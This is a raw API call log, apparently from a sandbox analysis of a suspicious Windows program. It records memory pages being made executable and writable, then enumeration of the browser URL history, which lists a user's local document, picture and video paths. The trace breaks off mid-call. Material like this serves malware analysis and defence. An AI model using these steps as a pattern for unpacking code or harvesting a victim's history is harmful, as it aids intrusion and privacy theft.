NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.037] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/Gmz3Ew_PQshhQ_mUARao.odt", cchWideChar=87, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/Gmz3Ew_PQshhQ_mUARao.odtg/uhxF0nw/Gmz3Ew_PQshhQ_mUARao.odt", lpUsedDefaultChar=0x0) returned 87 [0163.037] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026d54, cbMultiByte=87, lpWideCharStr=0x1fcf0ee0, cchWideChar=175 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/Gmz3Ew_PQshhQ_mUARao.odt") returned 87 [0163.037] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.037] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/dI49m6PiD%201kkvlKd.jpg", cchWideChar=58, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/dI49m6PiD%201kkvlKd.jpgz/Pictures/dI49m6PiD%201kkvlKd.jpg", lpUsedDefaultChar=0x0) returned 58 [0163.037] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=58, lpWideCharStr=0x1f026cdc, cchWideChar=117 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/dI49m6PiD%201kkvlKd.jpgW") returned 58 [0163.037] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.038] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/AKc4C6IclMV.rtf", cchWideChar=83, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/AKc4C6IclMV.rtf0vdNG/bFhzBCrd4x8i/AKc4C6IclMV.rtf", lpUsedDefaultChar=0x0) returned 83 [0163.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026d60, cbMultiByte=83, lpWideCharStr=0x1f026db8, cchWideChar=167 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/AKc4C6IclMV.rtf〇열AࢨṾᆜ") returned 83 [0163.038] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.038] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/Tr_kal4TdcyOhAWNCu.png", cchWideChar=142, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/Tr_kal4TdcyOhAWNCu.pngc", lpUsedDefaultChar=0x0) returned 142 [0163.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026e6c, cbMultiByte=142, lpWideCharStr=0x1fcf2d8c, cchWideChar=285 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/Tr_kal4TdcyOhAWNCu.pngĤ") returned 142 [0163.038] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.038] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/6MGWYri%20A.bmp", cchWideChar=57, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/6MGWYri%20A.bmpjz/AppData/Roaming/6MGWYri%20A.bmp", lpUsedDefaultChar=0x0) returned 57 [0163.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=57, lpWideCharStr=0x1f026e64, cchWideChar=115 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/6MGWYri%20A.bmp汦열AࢨṾᄤ") returned 57 [0163.039] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.039] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/t_NQCJqO/FP8ku6BzhpDd4WT.jpg", cchWideChar=125, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/t_NQCJqO/FP8ku6BzhpDd4WT.jpg", lpUsedDefaultChar=0x0) returned 125 [0163.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026ee4, cbMultiByte=125, lpWideCharStr=0x1fcf22ac, cchWideChar=251 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/t_NQCJqO/FP8ku6BzhpDd4WT.jpg") returned 125 [0163.039] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.039] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/LR_BaT-%20D.png", cchWideChar=50, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/LR_BaT-%20D.png/aETAdzjz/Pictures/LR_BaT-%20D.png", lpUsedDefaultChar=0x0) returned 50 [0163.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=50, lpWideCharStr=0x1f026edc, cchWideChar=101 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/LR_BaT-%20D.png杲䍨열AࢨṾႸ") returned 50 [0163.039] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.039] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/a19ZLgABCcDu15Hd.png", cchWideChar=54, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/a19ZLgABCcDu15Hd.pngAdzjz/Desktop/a19ZLgABCcDu15Hd.png", lpUsedDefaultChar=0x0) returned 54 [0163.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026708, cbMultiByte=54, lpWideCharStr=0x1f026f48, cchWideChar=109 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/a19ZLgABCcDu15Hd.png秶꪿열AࢨṾ၄") returned 54 [0163.040] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.040] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/ii5JlEwQ2lyXlysSijxq.odp", cchWideChar=79, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/ii5JlEwQ2lyXlysSijxq.odpC44f0vdNG/ii5JlEwQ2lyXlysSijxq.odp", lpUsedDefaultChar=0x0) returned 79 [0163.040] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026fc4, cbMultiByte=79, lpWideCharStr=0x1fcf0b7c, cchWideChar=159 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/ii5JlEwQ2lyXlysSijxq.odp") returned 79 [0163.040] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.040] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/qlA3qKm.jpg", cchWideChar=45, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/qlA3qKm.jpgUsers/aETAdzjz/Desktop/qlA3qKm.jpg", lpUsedDefaultChar=0x0) returned 45 [0163.040] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e08b4, cbMultiByte=45, lpWideCharStr=0x1f026d58, cchWideChar=91 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/qlA3qKm.jpg") returned 45 [0163.040] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.041] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/eUk_zyiGrs6MCoEM.png", cchWideChar=73, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/eUk_zyiGrs6MCoEM.pngz_vVr1Uxdn12a/eUk_zyiGrs6MCoEM.png", lpUsedDefaultChar=0x0) returned 73 [0163.041] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026fc4, cbMultiByte=73, lpWideCharStr=0x1fcf090c, cchWideChar=147 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/eUk_zyiGrs6MCoEM.png") returned 73 [0163.041] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.041] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/CSpev0Z7eRrXN9fN8yk.flv", cchWideChar=81, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/CSpev0Z7eRrXN9fN8yk.flvpk76gYBHuh/CSpev0Z7eRrXN9fN8yk.flv", lpUsedDefaultChar=0x0) returned 81 [0163.041] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e09d8, cbMultiByte=81, lpWideCharStr=0x1f026fbc, cchWideChar=163 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/CSpev0Z7eRrXN9fN8yk.flvⴽ灠ἂ灠ἂྜ") returned 81 [0163.041] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.041] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/7e7z67m5sUAQb5mz3b.ots", cchWideChar=96, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/7e7z67m5sUAQb5mz3b.ots/8O4HGEn56P/7e7z67m5sUAQb5mz3b.ots", lpUsedDefaultChar=0x0) returned 96 [0163.041] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e0a38, cbMultiByte=96, lpWideCharStr=0x1e7e0aa0, cchWideChar=193 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/7e7z67m5sUAQb5mz3b.ots@䈀열A열A㒘") returned 96 [0163.041] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.042] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/qpJflX1yMjR.ods", cchWideChar=70, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/qpJflX1yMjR.odsz8Q_yDu1jaODNbm6Rg/qpJflX1yMjR.ods", lpUsedDefaultChar=0x0) returned 70 [0163.042] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0267bc, cbMultiByte=70, lpWideCharStr=0x1e7e0b68, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/qpJflX1yMjR.ods") returned 70 [0163.042] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.042] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/qhEO%20K0/wH8AvaPzw2mFmwBbm.bmp", cchWideChar=151, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/qhEO%20K0/wH8AvaPzw2mFmwBbm.bmp", lpUsedDefaultChar=0x0) returned 151 [0163.042] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e0d34, cbMultiByte=151, lpWideCharStr=0x1fcf3160, cchWideChar=303 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/qhEO%20K0/wH8AvaPzw2mFmwBbm.bmp") returned 151 [0163.042] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.042] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/UBgc5aDcq4YwKCKI.bmp", cchWideChar=74, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/UBgc5aDcq4YwKCKI.bmpYEI5Zgd1vhacr/UBgc5aDcq4YwKCKI.bmp", lpUsedDefaultChar=0x0) returned 74 [0163.042] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e0f0c, cbMultiByte=74, lpWideCharStr=0x1e7e0f5c, cchWideChar=149 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/UBgc5aDcq4YwKCKI.bmpᛴက열A열A〈") returned 74 [0163.043] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.043] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/z83cKY5mZXN1FIiv8VR.odt", cchWideChar=86, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/z83cKY5mZXN1FIiv8VR.odtRg/uhxF0nw/z83cKY5mZXN1FIiv8VR.odt", lpUsedDefaultChar=0x0) returned 86 [0163.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e1000, cbMultiByte=86, lpWideCharStr=0x1e7e105c, cchWideChar=173 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/z83cKY5mZXN1FIiv8VR.odt敲摡열A열A⻰") returned 86 [0163.043] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.043] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/tXrvgvZhuK.docx", cchWideChar=51, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/tXrvgvZhuK.docxaETAdzjz/Documents/tXrvgvZhuK.docx", lpUsedDefaultChar=0x0) returned 51 [0163.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=51, lpWideCharStr=0x1e7e1110, cchWideChar=103 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/tXrvgvZhuK.docxr열A열A⺄") returned 51 [0163.043] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.044] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/yPUabrwg/Pcv61%20b9h2eNX.png", cchWideChar=63, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/yPUabrwg/Pcv61%20b9h2eNX.pngtures/yPUabrwg/Pcv61%20b9h2eNX.png", lpUsedDefaultChar=0x0) returned 63 [0163.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=63, lpWideCharStr=0x1e7e117c, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/yPUabrwg/Pcv61%20b9h2eNX.pngx열A열A⸀") returned 63 [0163.044] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.044] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/RdC0KwKo5r3lryFwb.flv", cchWideChar=55, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/RdC0KwKo5r3lryFwb.flvdzjz/Desktop/RdC0KwKo5r3lryFwb.flv", lpUsedDefaultChar=0x0) returned 55 [0163.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026708, cbMultiByte=55, lpWideCharStr=0x1e7e1200, cchWideChar=111 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/RdC0KwKo5r3lryFwb.flv摣열A열Aⶌ") returned 55 [0163.044] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.044] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/gXz8L7KfvZwK-yH.png", cchWideChar=73, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/gXz8L7KfvZwK-yH.pngeYEI5Zgd1vhacr/gXz8L7KfvZwK-yH.png", lpUsedDefaultChar=0x0) returned 73 [0163.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e127c, cbMultiByte=73, lpWideCharStr=0x1e7e12cc, cchWideChar=147 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/gXz8L7KfvZwK-yH.png") returned 73 [0163.044] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.045] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/UPuNIoomIq.ppt", cchWideChar=48, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/UPuNIoomIq.pptrs/aETAdzjz/Desktop/UPuNIoomIq.ppt", lpUsedDefaultChar=0x0) returned 48 [0163.045] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=48, lpWideCharStr=0x1e7e1364, cchWideChar=97 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/UPuNIoomIq.ppt汬'열A열Aⰴ") returned 48 [0163.045] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.080] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/JiloaEekTAOQp_rhBMq.mkv", cchWideChar=76, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/JiloaEekTAOQp_rhBMq.mkvVr1Uxdn12a/JiloaEekTAOQp_rhBMq.mkv", lpUsedDefaultChar=0x0) returned 76 [0163.080] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e13d4, cbMultiByte=76, lpWideCharStr=0x1fcf0aa8, cchWideChar=153 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/JiloaEekTAOQp_rhBMq.mkv ") returned 76 [0163.081] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: 